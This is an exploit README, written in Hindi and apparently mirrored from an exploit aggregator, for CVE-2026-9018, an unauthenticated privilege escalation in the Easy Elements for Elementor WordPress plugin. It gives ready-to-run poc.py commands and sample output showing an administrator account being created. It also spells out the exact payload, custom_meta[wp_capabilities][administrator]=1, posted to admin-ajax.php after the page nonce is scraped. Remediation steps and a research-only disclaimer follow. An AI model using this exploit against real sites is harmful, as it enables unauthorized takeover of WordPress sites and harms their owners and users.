Exploit for CVE-2026-9018

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-XXCONI-CVE-2026-9018
# CVE-2026-9018

# CVE-2026-9018 — Easy Elements for Elementor ≤ 1.4.5 | अप्रमाणित विशेषाधिकार वृद्धि

![CVE](https://img.shields.io/badge/CVE-2026--9018-critical?style=flat-square&color=red) ![CVSS](https://img.shields.io/badge/CVSS-8.8-high?style=flat-square&color=orange) ![CWE](https://img.shields.io/badge/CWE-269-orange?style=flat-square) ![Auth](https://img.shields.io/badge/Auth-None-red?style=flat-square) ![Python](https://img.shields.io/badge/Python-3.10+-blue?style=flat-square)

> **शोधकर्ता:** Atomic Edge **गंभीरता:** उच्च | **CVSS:** 8.8 | **प्रमाणीकरण आवश्यक:** कोई नहीं

* * *

## अवलोकन

**Easy Elements for Elementor – Addons & Website Templates** WordPress प्लगइन (संस्करण ≤ 1.4.5) में एक अप्रमाणित विशेषाधिकार वृद्धि भेद्यता मौजूद है। `wp_ajax_nopriv_eel_register` AJAX हैंडलर के माध्यम से उजागर `easyel_handle_register()` फ़ंक्शन, बिना किसी कुंजी श्वेतसूची के, `custom_meta` POST मानों को सीधे `update_user_meta()` में पास करता है। यह एक अप्रमाणित हमलावर को `wp_capabilities` मेटा कुंजी को अधिलेखित करने और **प्रशासक-स्तरीय खाता** बनाने की अनुमति देता है।

* * *

## पूर्वावश्यकताएँ

शोषण से पहले, लक्ष्य साइट पर निम्नलिखित शर्तें पूरी होनी चाहिए:

  * ✅ WordPress में **उपयोगकर्ता पंजीकरण सक्षम** है (`सेटिंग्स → सामान्य → कोई भी पंजीकरण कर सकता है`)
  * ✅ प्लगइन के **लॉगिन/रजिस्टर विजेट** वाला एक पेज सार्वजनिक रूप से सुलभ है
  * ✅ विजेट पेज DOM में `easy_elements_nonce` मान को उजागर करता है।



* * *

## आवश्यकताएँ

root@kitploit:~
    
    
    pip install requests
    

* * *

## उपयोग

root@kitploit:~
    
    
    # बुनियादी — होमपेज से नॉन्स प्राप्त करें
    python3 poc.py -u https://target.com
    
    # कस्टम क्रेडेंशियल
    python3 poc.py -u https://target.com -U hacker -e some-email@example.com -p P@ssw0rd!
    
    # विजेट /login/ पेज पर है
    python3 poc.py -u https://target.com --nonce-page /login/
    
    # SSL सत्यापन छोड़ें
    python3 poc.py -u https://target.com --no-verify
    
    # शोषण के बाद लॉगिन जाँच छोड़ें
    python3 poc.py -u https://target.com --skip-verify-login
    

### तर्क

### उदाहरण आउटपुट

root@kitploit:~
    
    
    [*] से नॉन्स प्राप्त किया जा रहा है: https://target.com/login/
    [+] नॉन्स मिला: a1b2c3d4e5
    
    [*] विशेषाधिकार वृद्धि पेलोड भेजा जा रहा है: https://target.com/wp-admin/admin-ajax.php
    [*] उपयोगकर्ता नाम : atomic_admin
    [*] ईमेल    : some-email@example.com
    [*] भूमिका  : administrator (wp_capabilities अधिलेखन के माध्यम से)
    
    [+] HTTP स्थिति : 200
    [✓] विशेषाधिकार वृद्धि पेलोड स्वीकृत!
    [✓] व्यवस्थापक लॉगिन की पुष्टि हुई!
    
        ┌─────────────────────────────────────────┐
        │  WP व्यवस्थापक  : https://target.com/wp-admin/
        │  उपयोगकर्ता नाम  : atomic_admin
        │  पासवर्ड  : Atomic@Edge2026!
        └─────────────────────────────────────────┘
    

* * *

## तकनीकी विवरण

शोषण दो-चरणीय प्रक्रिया का पालन करता है:

**चरण 1 — नॉन्स संग्रहण** प्लगइन का लॉगिन/रजिस्टर Elementor विजेट पेज HTML में एक छिपा हुआ `easy_elements_nonce` फ़ील्ड प्रस्तुत करता है। यह नॉन्स किसी भी अप्रमाणित आगंतुक के लिए सार्वजनिक रूप से सुलभ है और पेज स्रोत से regex के माध्यम से निकाला जाता है।

**चरण 2 — दुर्भावनापूर्ण पंजीकरण** एक POST अनुरोध `/wp-admin/admin-ajax.php` पर `action=eel_register` के साथ भेजा जाता है। `custom_meta` सरणी में शामिल करने के लिए तैयार किया गया है:

root@kitploit:~
    
    
    custom_meta[wp_capabilities][administrator] = 1
    

चूँकि `easyel_handle_register()` सभी `custom_meta` कुंजियों को बिना श्वेतसूची के सीधे `update_user_meta()` में पास करता है, पंजीकरण के बाद `wp_capabilities` उपयोगकर्ता मेटा अधिलेखित हो जाती है, जिससे नए उपयोगकर्ता को पूर्ण व्यवस्थापक विशेषाधिकार मिल जाते हैं।

* * *

## उपचार

डेवलपर्स को `easyel_handle_register()` में निम्नलिखित सुधार लागू करने चाहिए:

  1. अनुमत `custom_meta` कुंजियों की **सख्त श्वेतसूची** लागू करें (जैसे, `first_name`, `last_name`, `phone`)
  2. संवेदनशील कुंजियों को **स्पष्ट रूप से अवरुद्ध** करें: `wp_capabilities`, `wp_user_level`, `session_tokens`
  3. यदि आवश्यक न हो तो `wp_insert_user()` के बाद किसी भी उपयोगकर्ता-आपूर्ति मेटा को **संसाधित करने से बचें**
  4. केवल इनपुट स्वच्छता **अपर्याप्त** है — श्वेतसूची अनिवार्य है



**→ तुरंत Easy Elements for Elementor 1.4.6 या उसके बाद के संस्करण में अपडेट करें।**

* * *

## अस्वीकरण

> यह रिपॉजिटरी केवल **अधिकृत सुरक्षा अनुसंधान और शैक्षणिक उद्देश्यों** के लिए है। इस उपकरण का उपयोग किसी भी सिस्टम के विरुद्ध तब तक न करें जब तक कि सिस्टम स्वामी से **स्पष्ट लिखित अनुमति** प्राप्त न हो। अनधिकृत उपयोग CFAA (USA), आपराधिक संहिता s.342.1 (Canada), EU NIS2 निर्देश, और अन्य लागू कानूनों का उल्लंघन कर सकता है। लेखक इस कोड के दुरुपयोग या इससे उत्पन्न होने वाली क्षति के लिए **कोई देयता स्वीकार नहीं करते** ।